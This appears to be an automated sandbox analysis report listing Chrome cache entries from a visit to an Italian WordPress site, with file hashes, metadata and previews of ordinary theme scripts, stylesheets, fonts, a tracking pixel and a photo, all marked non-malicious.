Preview:	.PNG........IHDR...K...J.....\|p>.....pHYs.................iCCPPhotoshop ICC profile..x..wT.Y.......-!.RBo....k...FH ...B.......X...eDFD... cA,X..{..AE]..6T....{v..=g.s.9..{........Nr.R1...-..b...I.)l.. .......\.ott8...p.....6\.T..[...sy.H4...sy...1...'....$.0^......`..S..-...Lr=.0.&............D.re...].`...r..'....E.....x.\>.M........h..`..O>...LSzr..%O......Q.T.].....+..0...P....$..&kI..%i.QS,.O......!.S...O.b>7 l..Y.S.M...9qS,[.....#....%....Nq.(.3....)..%DNqnVl......S.({..)g.....K...Q.....G...#..)}......J=7/VyV..S....i.h.."..<y.29.....r.H ..}.Rq:.#...b;...$%..'......@XW...N....D0.q..N<.`\|.........)dy.......P.&h.>.....8...@ .B..A2,...!.d...`..C)l..P......!8.mp...E..}p......K...0. ...#.D.1@L.k..qE..@$..A..TD.H..R..CJ.2...4"."'...e....."#.[....4...f.l...E..8t!@s.\|...V.u.A..=.^Eo...Kt.....0C..s...(,...d.*.....f....n`..+.3..c..8.........rp.p.qU...V.y... n...O.....x.>././...+..............E0'..B..L...F..B....O."...Dm.5..E....b.N.A...u.0...J2 9..H)$.i-..t.t.t

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2996
Entropy (8bit):	4.0773068909292185
Encrypted:	false
SSDEEP:	48:sWGjgI1GYYv+IGL63IevoyiO/b2g1vnKBFF9j:sWGjRGYYvXGcRQyiO/Sg1vnK7Tj
MD5:	B55E7C1D322D644E1644496EF0D8C7C3
SHA1:	D3F2DC4D08D81D3769498396C91737AF12735FEA
SHA-256:	D000CBDC4EAF4968F59DB635892E36BDE66D1563CA301F5AD52A5791FB9CECB3
SHA-512:	E298A029E8F3EDEFCCCDC0B40D958B5BC82D9F96B1CA89E01EE821017E6D7B015C9D9333C3A11ECE5E6B6EC4961304B9418156BB5A3A8CA0EBD1728D092909EB
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notification/notification.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// Message Box.// -------------------------------------------------------------------------------------------..(function($).{. "use strict";.. $.fn.avia_sc_messagebox = function (options) {.. "use strict";.. return this.each(function () {.. var container = $(this),. close_btn = container.find('.av_message_close'),. mbox_ID = container.attr('id'),.. aviaSetCookie = function(CookieName,CookieValue,CookieDays) {. if (CookieDays) {. var date = new Date();. date.setTime(date.getTime()+(CookieDays2460601000));. var expires = "; expires="+date.toGMTString();. }. else var expires = "";. document.cookie = CookieName+"="+CookieValue+expires+"; path=/";. },..

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5081
Entropy (8bit):	4.872155066547225
Encrypted:	false
SSDEEP:	96:Z75kJMEEWSH4zC1t3+bMkNG5jOOhZ9rU4prcV2fGURJf8:KAH4zC1U/NG5jO4Zi4prZf8
MD5:	8284F1A53A88616626271EA58FF8700C
SHA1:	3351D77F4D01733C00A5C2F7ECC89C571D3E36A8
SHA-256:	46E51E0E7D593FD1EA59775973395AF361FA164473C0E1CE8CF606A0CC684C60
SHA-512:	5B8A93A31C55BA7941BE152D58DD5537F9716574266A9B5FA3B34440387E35AB4B2B111B4D7C659B5258DD919C2EAB73A0DCC5744DE03A7865D0B80347B7191B
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// Horizontal Gallery.// -------------------------------------------------------------------------------------------..(function($).{ .."use strict";...$.fn.avia_hor_gallery= function(options)..{...var defaults =....{.....slide_container.: '.av-horizontal-gallery-inner', //element with max width.....slide_element.: '.av-horizontal-gallery-slider', //element that gets moved.....slide_content.: '.av-horizontal-gallery-wrap',.....active...: 'av-active-gal-item',....// must be a class string without the . in front.....prev...: '.av-horizontal-gallery-prev',.....next...: '.av-horizontal-gallery-next'....};.....var options = $.extend(defaults, options);......var win ...= $(window),....browserPrefix .= $.avia_utilities.supports('transition'),....cssActive ..= this.browserPrefix !== false ? true : false,....isMobile ..= $.avia_utilities.isMobile,....transform3d..= document.documentElement.className.in

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65532), with CRLF line terminators
Category:	downloaded
Size (bytes):	163165
Entropy (8bit):	4.799932651979088
Encrypted:	false
SSDEEP:	3072:0gw1y/Z2/kUv70ji8RtT78zaW+u833rG4wMvba:0gw1y/ZckUv72i8RtH8zaWN833rdwMve
MD5:	04C1C0A8BA76C5295210AE13AB7F64B9
SHA1:	F1C25B3DCD52A655EED12FFB5AF6608BFF40E17A
SHA-256:	35E773C7020F6D92A171153965F798EBFC775EDABD5C9F17A62E8DE2EBB1DE13
SHA-512:	5B2C6B433402F4679525C9645933838E60F24F8EBB623E315248FCF6D7BE1E396ABDA6C23E88A9329A2736202385370BC70925E1558EB2FBFE701074BE82BE85
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/dynamic_avia/enfold.css?ver=6335ddf9ba942
Preview:	....::-moz-selection{background-color: #c99c66;color: #ffffff;}::selection{background-color: #c99c66;color: #ffffff;}html.html_boxed {background: #eeeeee top left no-repeat scroll;}.socket_color, .socket_color div, .socket_color header, .socket_color main, .socket_color aside, .socket_color footer, .socket_color article, .socket_color nav, .socket_color section, .socket_color span, .socket_color applet, .socket_color object, .socket_color iframe, .socket_color h1, .socket_color h2, .socket_color h3, .socket_color h4, .socket_color h5, .socket_color h6, .socket_color p, .socket_color blockquote, .socket_color pre, .socket_color a, .socket_color abbr, .socket_color acronym, .socket_color address, .socket_color big, .socket_color cite, .socket_color code, .socket_color del, .socket_color dfn, .socket_color em, .socket_color img, .socket_color ins, .socket_color kbd, .socket_color q, .socket_color s, .socket_color samp, .socket_color small, .socket_color strike, .socket_color strong,

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2497
Entropy (8bit):	4.843621206511125
Encrypted:	false
SSDEEP:	48:EB+VRkUlcs7bFfAeJLyfrlyQMMKXiFvJ+JemNpSDYi6R:EBeqyckbFoceJyQuX+hapSkrR
MD5:	A0B3B46931A88E9397C2E22AD93460AC
SHA1:	92169E8FA68C8EC06EB571EA4A89D22D5E604E70
SHA-256:	F3BE56D8AC58697106341FFE67BABAAFB18D3E6A2FAD673E9D4FE8347AB01195
SHA-512:	F657EF638F00648C94BA40D71597FF27064ADD39EB8B411C1266C7774A20B9DFA5C9566D0B8D3626D13526A2E8402A3A7E121D6A8525965C2244B0D1CF1A2744
Malicious:	false
Reputation:	low
Preview:	(function($).{ .."use strict";....// -------------------------------------------------------------------------------------------..// Gallery shortcode javascript..// -------------------------------------------------------------------------------------------....$.fn.avia_sc_gallery = function(options)..{...return this.each(function()...{....var gallery = $(this), images = gallery.find('img'), big_prev = gallery.find('.avia-gallery-big');........//trigger displaying of thumbnails....gallery.on('avia_start_animation', function()....{.....images.each(function(i).....{......var image = $(this);......setTimeout(function(){ image.addClass('avia_start_animation') }, (i * 110));.....});....});........if(gallery.hasClass('deactivate_avia_lazyload')) gallery.trigger('avia_start_animation');......//trigger thumbnail hover and big prev image change....if(big_prev.length)....{.....gallery.on('mouseenter','.avia-gallery-thumb a', function().....{......var _self = this;........big_prev.attr('data-oncl

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	7813
Entropy (8bit):	4.843759246435122
Encrypted:	false
SSDEEP:	192:hXgeYzGBIPrEuG9LSWb91BXitptrYGS3M6:hgeYzMgRG9dEtriM6
MD5:	9E8F00CF421DFC22847BC5D22834B45E
SHA1:	ADF8D36362B5313B3BEDDF5642109DDB8E5BBB09
SHA-256:	E57EC9E9ED2249AA9614B2782F4D435EB10116B001D94BD83B99FD83BBA18B08
SHA-512:	B792A12B8160BADA54D0264F16DB2B0DC3BFFF663C1D77E69B7E692B9E78B8FDDE507BD7D757CD918F6B21FBE2B8AD3C71FF2D13F824E740E977D15AABB7D9C0
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact/contact.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// contact form ajax.// -------------------------------------------------------------------------------------------..(function($).{..$.fn.avia_ajax_form = function(variables)..{....var defaults =...{....sendPath: 'send.php',....responseContainer: '.ajaxresponse'...};....var options = $.extend(defaults, variables);....return this.each(function()...{....var form = $(this),.....form_sent = false,.....send =.....{......formElements: form.find('textarea, select, input[type=text], input[type=checkbox], input[type=hidden]'),......validationError:false,......button : form.find('input:submit'),......dataObj : {}.....},......responseContainer = form.next(options.responseContainer+":eq(0)");......send.button.on('click', checkElements);...............//change type of email forms on mobile so the e-mail keyboard with @ sign is used.....if($.avia_utilities.isMobile).....{......send.formElements.each(functi

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	839
Entropy (8bit):	5.350697172992779
Encrypted:	false
SSDEEP:	24:3wXiOYs1ONntJc+u/rwXiOYs1OPwy96cGSSf7:gXiOL1KJc+uMXiOL1yN0xD
MD5:	C158E0344517DFF85C5ABA3B4E77A830
SHA1:	C1A482E1EBD7BEF96A4921F609A642BF797A3514
SHA-256:	06F13DADCB1ACFC7A0D2AD945507FFAC1A14454301FB0310E45AA943E73B6F2F
SHA-512:	C2374A7F2D8571536D55E8638F1DA38CF5C5474DF354A76A5C9141222F19A745F6FF8E1EBEC77C179D580E62D384CF2425290125A6E73B5C7CAB181B01B704E0
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Terminal+Dosis
Preview:	/* latin-ext /.@font-face {. font-family: 'Terminal Dosis';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/terminaldosis/v20/BXRyvFbejejHgENDQMs-nhycKtDe9ZiOqA.woff2) format('woff2');. unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Terminal Dosis';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/terminaldosis/v20/BXRyvFbejejHgENDQMs-nhycKtDQ9Zg.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}.

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.489980594331261
Encrypted:	false
SSDEEP:	24:2GuBkYApJDxUKBP2e2nTC4T2PL2kVr086L0MJu/b:GBnApJDxUcOegC1PCkVr08nl
MD5:	A5561B9480514546A73A09828A5C12EE
SHA1:	6DCD9D99F1EA1D794496B67E755EB40B918F9447
SHA-256:	4B4F3412D4FFA62F21545FA5CA2EFF90C4AC0B678B8A9D77786DF3EEC998D419
SHA-512:	7AD7384A4E819ABC94DC14136B3A4C969592E9BCF1418646D2129C6CA4B4E25231C8BD03CA5109B633E5C0330195AD618970453D17ECD2E23DBE97479EF7ED20
Malicious:	false
Reputation:	low
Preview:	(function($).{ .."use strict";....// -------------------------------------------------------------------------------------------..// Progress bar shortcode javascript..// -------------------------------------------------------------------------------------------....$.fn.avia_sc_progressbar = function(options)..{...return this.each(function()...{....var container = $(this), elements = container.find('.avia-progress-bar');............//trigger displaying of progress bar....container.on('avia_start_animation', function()....{.....elements.each(function(i).....{......var element = $(this)............setTimeout(function()......{ .......element.find('.progress').addClass('avia_start_animation') .......element.find('.progressbar-percent').avia_sc_animated_number(.......{........instant_start:true, simple_up:true, start_timer: 10.......});.............}, (i * 250));.....});....});...});..}...}(jQuery));

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1454)
Category:	downloaded
Size (bytes):	32116
Entropy (8bit):	5.161022669749519
Encrypted:	false
SSDEEP:	768:P4oRQ+OUO/b3AkNtyhzwHPiUzzfG3DfaflNIdbzXl:QtPJehz8iUz7OLIlNIdbzXl
MD5:	0143F8E75E46234B287872903F6A08D7
SHA1:	5C4D518FBA5E0FD5DF1A1314C0BCB78B23D4B848
SHA-256:	02EF0A00041B8134CD1DD844C9C4DB12ECBA392CD9204B592E61B6D8BF2E6707
SHA-512:	1A38D11836D1B10AFE4E99D6CD5C4C613AFFC6994A347D12518DAF6AE3458E1729E37457C13EC99989415D2263990477C149FDB54A865A4A058E22A2FF07AA28
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/css/shortcodes.css?ver=4.5
Preview:	/* ======================================================================================================================================================.GENERIC.====================================================================================================================================================== /...p:empty, .entry-content-wrapper:empty{display:none;}..avia-shadow{box-shadow:inset 0 1px 3px rgba(0, 0, 0, 0.1);}../fix webkit flickering bug/..webkit_fix{.-webkit-perspective: 1000px;.-webkit-backface-visibility: hidden;.}..body .container_wrap .avia-builder-el-no-sibling{margin-top:0; margin-bottom:0;}.body .container_wrap .avia-builder-el-last{margin-bottom:0;}.body .container_wrap .avia-builder-el-first{margin-top:0;}..body .av-align-left{text-align: left;}.body .av-align-right{text-align: right;}.body .av-align-center{text-align: center;}..#top .av_inherit_color {color:inherit;}.#top .av_inherit_color a{text-decoration: underline; }..#top .av_opacity_variation{opaci

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2383
Entropy (8bit):	4.874826401844771
Encrypted:	false
SSDEEP:	24:ukLeB7wXBYJL+k9Wlw7gyhhY9NUT8CZeD1szDoHbQG/7iW/7fzAgzAJ/74Y8+gY1:EBYbko29hiufs68+V8F0
MD5:	3FD3074107D5C1C1C8F8E55467015D58
SHA1:	D22A279E2AB230F05C7B20FC3425CC1BA1C3E75C
SHA-256:	FEB5FDE28EE7423FDEC347BEF495D6DB66D2FA4C0CEA6D220BA6C14CDAB65435
SHA-512:	00833AB555C1752F73E1850903CA10ED7D222DA1A54966240DF04BACAC48A56314C1118D5749E68AEDF0F6946BC8EBE68DF2A5B012964EC8119DB8C58A716AAE
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_accordion/slideshow_accordion.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.AVIACCORDION.====================================================================================================================================================== */..#top .avia-accordion-slider-wrap{border:none; z-index: 2;}.#top .avia-accordion-slider-wrap.el_after_av_slideshow_accordion{ box-shadow: 0px 0px 6px rgba(0, 0, 0, 0.4); }.#top .aviaccordion{position: relative; overflow: hidden;}.#top .aviaccordion-inner, #top .aviaccordion-slide, #top .aviaccordion-slide-link{position: absolute; margin:0; padding:0; width:100%; height:100%; list-style-type: none;}.#top .aviaccordion-slide img{ height:100%; position: absolute; display:block; opacity: 0; filter:alpha(opacity=0); }.#top .aviaccordion-slide{ box-shadow: 0px 0px 6px rgba(0, 0, 0, 0.4); z-index: 2; overflow: hidden;}.#top .aviaccordion-preview{position: absolute; z-index: 10

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	34179
Entropy (8bit):	5.24378984580027
Encrypted:	false
SSDEEP:	768:tjp/HdQu8hIrNjHunBoaaif2ditPu0I80qyGaagvZ8/8Lo+tn6J5jVt1PauAxlqa:tjp/HdQu8QNjHunqaHmZ8/8Lo+tnkjV8
MD5:	DFFA195B546CF1DFD52F2206955EB892
SHA1:	A3D48E8F126EB96D12191D76ED71AD2BC8651D59
SHA-256:	6C52384C7B0641DD1EAD85D079C22D39BCC6DC5F2537AFB1E6396BB619771A3F
SHA-512:	65F3B79475AED8029C10AE3770BCD0FEE4F089A967B86525A6B2C1F8AB6BBE687361C403F9B2C2CFC61322DF9AD8B1D70C0E650FC6CCDC4AD72EB5F65FB38B56
Malicious:	false
Reputation:	low
Preview:	CLI_ACCEPT_COOKIE_NAME = (typeof CLI_ACCEPT_COOKIE_NAME !== 'undefined' ? CLI_ACCEPT_COOKIE_NAME : 'viewed_cookie_policy');.CLI_PREFERNCE_COOKIE = (typeof CLI_PREFERNCE_COOKIE !== 'undefined' ? CLI_PREFERNCE_COOKIE : 'CookieLawInfoConsent');.CLI_ACCEPT_COOKIE_EXPIRE = (typeof CLI_ACCEPT_COOKIE_EXPIRE !== 'undefined' ? CLI_ACCEPT_COOKIE_EXPIRE : 365);.CLI_COOKIEBAR_AS_POPUP = (typeof CLI_COOKIEBAR_AS_POPUP !== 'undefined' ? CLI_COOKIEBAR_AS_POPUP : false);.var CLI_Cookie = {..set: function (name, value, days) {...var secure = "";...if (true === Boolean(Cli_Data.secure_cookies)) {....secure = ";secure";...}...if (days) {....var date = new Date();....date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));....var expires = "; expires=" + date.toGMTString();...} else {....var expires = "";...}...document.cookie = name + "=" + value + secure + expires + "; path=/";...if (days < 1) {....host_name = window.location.hostname;....document.cookie = name + "=" + value + expires + "; path=/; d

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (494)
Category:	downloaded
Size (bytes):	10401
Entropy (8bit):	5.018950165548087
Encrypted:	false
SSDEEP:	192:ONNYwVxbXhNe3zMSpiqFNd3H8qBOGCOJ7:wuBbZ7
MD5:	68B3FE350B37AF335B1CA63B7D178885
SHA1:	F6BC2BF2D30F902B883165E4DEDC09CDF5205903
SHA-256:	E96439946C28DFA8FF4A16925E2A1F8BEDF5743D42B04692CAE616B21085BB10
SHA-512:	614E653CCA9D8D6934DA1EA9B96CD9F4F4A04E8BA7790C626B01C10E59904E98CD30D8F92049497B7E6A35E466C8EEB713B2988C1F666ACBE6E28CA525B9D4F1
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact/contact.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Contact Form defaults.====================================================================================================================================================== /....avia_ajax_form{.clear:both;.}...avia_ajax_form fieldset p br{display:none;}..avia_ajax_form label {display:block; visibility: visible; position: relative; } /dont delete. ie8 needs this separate*/..avia_ajax_form label, .modified_width:before{display:block; visibility: visible; position: relative; margin-bottom: 7px; font-weight: 600;}..#ajaxresponse.hidden{.visibility: visible;.position: static;.display:none;.}...#top .avia_ajax_form .text_input, #top .avia_ajax_form .select, #top .avia_ajax_form .text_area{.width:100%;.margin-bottom:0;.display:inline;.min-width:50px;.padding:13px;.border-radius: 2px;.}....#top .avia_ajax_form .select[multiple] option{paddi

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
URL:	https://mc.yandex.com/sync_cookie_image_decide?token=10611.ypiVpKl1TaS_90RmrA4LBUwe28FduQr_As0goCFHNe3WItNOEA81sLSU0VJ3z1ns5ifLn9qIxkIu6p3s4TBtEDtVQOhaqB8rkghzxO8gZ9j-0ak4RnstvoyqT1k2XXLpqoWdgpShJGt9N04YeZ8jzvVGIp-ma8UsNL4JAuwxAlF_wqIpkhnYSQQP3gky7zL7m5zCzxtpslZPDNNIvbIoZWOroz3nS32OUg7hDcNkOFA%2C.Hui5W45AzTNyHNlXZbHDAFV5-Sg%2C
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	4748
Entropy (8bit):	4.914294506353523
Encrypted:	false
SSDEEP:	96:IibjhiRzEOrsOsO/dkGZyUDsy4ooI5r30HqzgBYOcjf1coEGU+MkVmBB7Wo:jbj6YCsRAdfZGnooINdzgBYOcj4FD
MD5:	40321E5AC40B598D6C4F38ABCDBBB9E6
SHA1:	6383DD1DA684AD9AA3C1693666D15403AFA74707
SHA-256:	0E5DA00F8174A2D4006E9BCD98F2C2C2250C07D45E27BF8327C74FF8FCD77E5F
SHA-512:	BE4BBBE4F1A0CEF9ECB78E062569179431ADEC32113F48E7B129C926399489E62D05B5659808963C6D7F83C9EC3DD09F99587404FA7EAC3F9979E69602228A94
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_section/tab_section.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================..Tab SECTION..====================================================================================================================================================== */...av-inner-tab-title, .av-tab-section-icon, .av-tab-arrow-container, .av-tab-section-image{...width:90px;..}.........av-tab-section-container{...width: 100%;...overflow: hidden;...position: relative;...border: none;..}.....av-tab-section-outer-container{...overflow: hidden;..}.....av-tab-section-inner-container{...display: table;...position: relative;...left:0%;..}.....av-tab-slide-transition .av-tab-section-inner-container{...-webkit-transition: all 0.4s ease-in-out;...transition: ..all 0.4s ease-in-out;..}.....av-layout-tab{...width:100vw;...display: block;...vertical-align: middle;...padding: 50px 0;...border-top-style:solid;...border-top-width:1px;..}.....js_active

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	34179
Entropy (8bit):	5.24378984580027
Encrypted:	false
SSDEEP:	768:tjp/HdQu8hIrNjHunBoaaif2ditPu0I80qyGaagvZ8/8Lo+tn6J5jVt1PauAxlqa:tjp/HdQu8QNjHunqaHmZ8/8Lo+tnkjV8
MD5:	DFFA195B546CF1DFD52F2206955EB892
SHA1:	A3D48E8F126EB96D12191D76ED71AD2BC8651D59
SHA-256:	6C52384C7B0641DD1EAD85D079C22D39BCC6DC5F2537AFB1E6396BB619771A3F
SHA-512:	65F3B79475AED8029C10AE3770BCD0FEE4F089A967B86525A6B2C1F8AB6BBE687361C403F9B2C2CFC61322DF9AD8B1D70C0E650FC6CCDC4AD72EB5F65FB38B56
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/plugins/cookie-law-info/legacy/public/js/cookie-law-info-public.js?ver=3.0.5
Preview:	CLI_ACCEPT_COOKIE_NAME = (typeof CLI_ACCEPT_COOKIE_NAME !== 'undefined' ? CLI_ACCEPT_COOKIE_NAME : 'viewed_cookie_policy');.CLI_PREFERNCE_COOKIE = (typeof CLI_PREFERNCE_COOKIE !== 'undefined' ? CLI_PREFERNCE_COOKIE : 'CookieLawInfoConsent');.CLI_ACCEPT_COOKIE_EXPIRE = (typeof CLI_ACCEPT_COOKIE_EXPIRE !== 'undefined' ? CLI_ACCEPT_COOKIE_EXPIRE : 365);.CLI_COOKIEBAR_AS_POPUP = (typeof CLI_COOKIEBAR_AS_POPUP !== 'undefined' ? CLI_COOKIEBAR_AS_POPUP : false);.var CLI_Cookie = {..set: function (name, value, days) {...var secure = "";...if (true === Boolean(Cli_Data.secure_cookies)) {....secure = ";secure";...}...if (days) {....var date = new Date();....date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));....var expires = "; expires=" + date.toGMTString();...} else {....var expires = "";...}...document.cookie = name + "=" + value + secure + expires + "; path=/";...if (days < 1) {....host_name = window.location.hostname;....document.cookie = name + "=" + value + expires + "; path=/; d

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3864
Entropy (8bit):	4.962924804401647
Encrypted:	false
SSDEEP:	96:4LZp5F4bvvjXbOjxlHSWIJtxFGLiCtTR2Kv37glKqiF4OeMdRvINkRYqudc:4dpr2HjMpSKiMZ/vbegCkRMc
MD5:	EA40DA6F432E4734DB0A33A43A99BAA5
SHA1:	2A70C56824004A64A5D93951816C1BE7B083AF69
SHA-256:	2A4D4F70113757B77CEDB59D9DE65C76BE8CA829B7CBB4359489AFD1EDEF4A53
SHA-512:	37D6690193C21D6BCABAEB23F5DA7785579ADC237F201938279AA82C02A91CFCCB69C525E64CB3FA77AAE5000C2A92C05A8B0695AF8C0A5D911A297BFA00A64E
Malicious:	false
Reputation:	low
Preview:	/* . * This file holds javascript functions needed in frontend for the functionallity of the Google Maps widgets and shortcodes. * Handles conditional loading of Google API script.. . @author..Christian "Kriesi" Budschedl. * @copyright.Copyright ( c ) Christian Budschedl. * @link..http://kriesi.at. * @link..http://aviathemes.com. * @since..Version 1.0. * @package .AviaFramework. * . /.."use strict";../. Avia Google Maps in frontend. */.(function($).{..var objAviaGoogleMaps = null;....var AviaGoogleMaps = function(){......if( 'undefined' == typeof window.av_google_map \|\| 'undefined' == typeof avia_framework_globals )...{....return;...}......if( objAviaGoogleMaps != null )...{....return;...}......objAviaGoogleMaps = this;......this.document = $( document );...this.script_loading = false;...this.script_loaded = false;...this.script_source = avia_framework_globals.gmap_avia_api;...this.maps = {};...this.loading_icon_html = '<div class="ajax_load"><span class="ajax_load_inner"></spa

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 240x240, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=9, manufacturer=FUJIFILM, model=X-S10, xresolution=138, yresolution=146, resolutionunit=2, software=Adobe Photoshop Lightroom Classic 13.4 (Windows), datetime=2024:07:26 14:17:40], baseline, precision 8, 1500x630, components 3
Category:	downloaded
Size (bytes):	1064197
Entropy (8bit):	7.981761717568579
Encrypted:	false
SSDEEP:	24576:JHxmVQSGoe0Vjwmd91GeIll4Fh2rfEOHCnNHx:JgU0w61E0FheZin
MD5:	2A205D069189012204AEE5B882EBF9F0
SHA1:	B4357A4004072D8A793689BFC8D4D792E5ACCAF6
SHA-256:	DFC1D761C4390200D4138CB00F6B35FACEDEC3E2A2E9BE1F1E0A087CC5151CC9
SHA-512:	266B5CD10B5D15954D56510687744445E41EBD26CA785449E22BB51EA4843AD99A87441801A4C7DEF4455BC099E93A55F4BB214705F8AF4E630524FFEC0E6C90
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2024/08/Dettaglio-della-sala-interna-1500x630.jpg
Preview:	......JFIF..............Exif..II*...............z.......................................(...........1...1.......2...........;...........i...............FUJIFILM..X-S10.................Adobe Photoshop Lightroom Classic 13.4 (Windows)..2024:07:26 14:17:40.YOUGENIO..'........................."...........'....... ...0...................0232............................................................................................$...........,...........4...............................................<.......................D...........L.......................................................................................................................................1.......T...2.......^...3.......~...4...........5.......................G.......2024:07:17 17:12:42.2024:07:17 17:12:42.+02:00..+01:00..+01:00...q'.@B..VLV.@B......d.......d...d...d.......d...d.......d.......1D000530......d.......d.......d.......d...Viltrox.AF 13/1.4 XF..00000404........................................(.....

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (359)
Category:	dropped
Size (bytes):	5464
Entropy (8bit):	5.003279115233775
Encrypted:	false
SSDEEP:	96:loflPTp3QAn5sTX9Ffi+Hso6WHs0yJ1WboU5eH8UslIGum4YF4lB8nlc7SlhYsX:0F+j9J/nyOG3sSg3Fa6naWYA
MD5:	912E96BBA6658C45C3F38D7FF4240482
SHA1:	A0426B5A44D0B1C36AEF343BC72EAD327B80A531
SHA-256:	8E60AA4573BBF0824ABF6595D86B033EB2686F848CF6498523B86C9175211FBD
SHA-512:	EDDF37D5B0AC70CB7D1BC5AF1ECBFF9D8F66C325450357344ECAA4A0DED4D3E0FA8C410B77B3FCB71EBF06907166B3676C048FC4AB9D95AAADFE6245BAA4074B
Malicious:	false
Reputation:	low
Preview:	(function($).{.. "use strict";....// -------------------------------------------------------------------------------------------..// Ligthbox activation..// -------------------------------------------------------------------------------------------...$.avia_utilities = $.avia_utilities \|\| {};...$.avia_utilities.av_popup = {....type: ....'image',....mainClass: ...'avia-popup mfp-zoom-in',....tLoading: ...'',....tClose: ...'',....removalDelay: ..300, //delay removal by X to allow out-animation....closeBtnInside: .true,....closeOnContentClick:false,....midClick: ...true,....fixedContentPos: .false, // allows scrolling when lightbox is open but also removes any jumping because of scrollbar removal....iframe: {.... patterns: {.... youtube: {.... index: 'youtube.com/watch', .... id: function(url) { ..... ..... //fetch the id .... var m = url.match(/[\\?\\&]v=([^\\?\\&]+)/), id, params;.... if ( !m \|\|

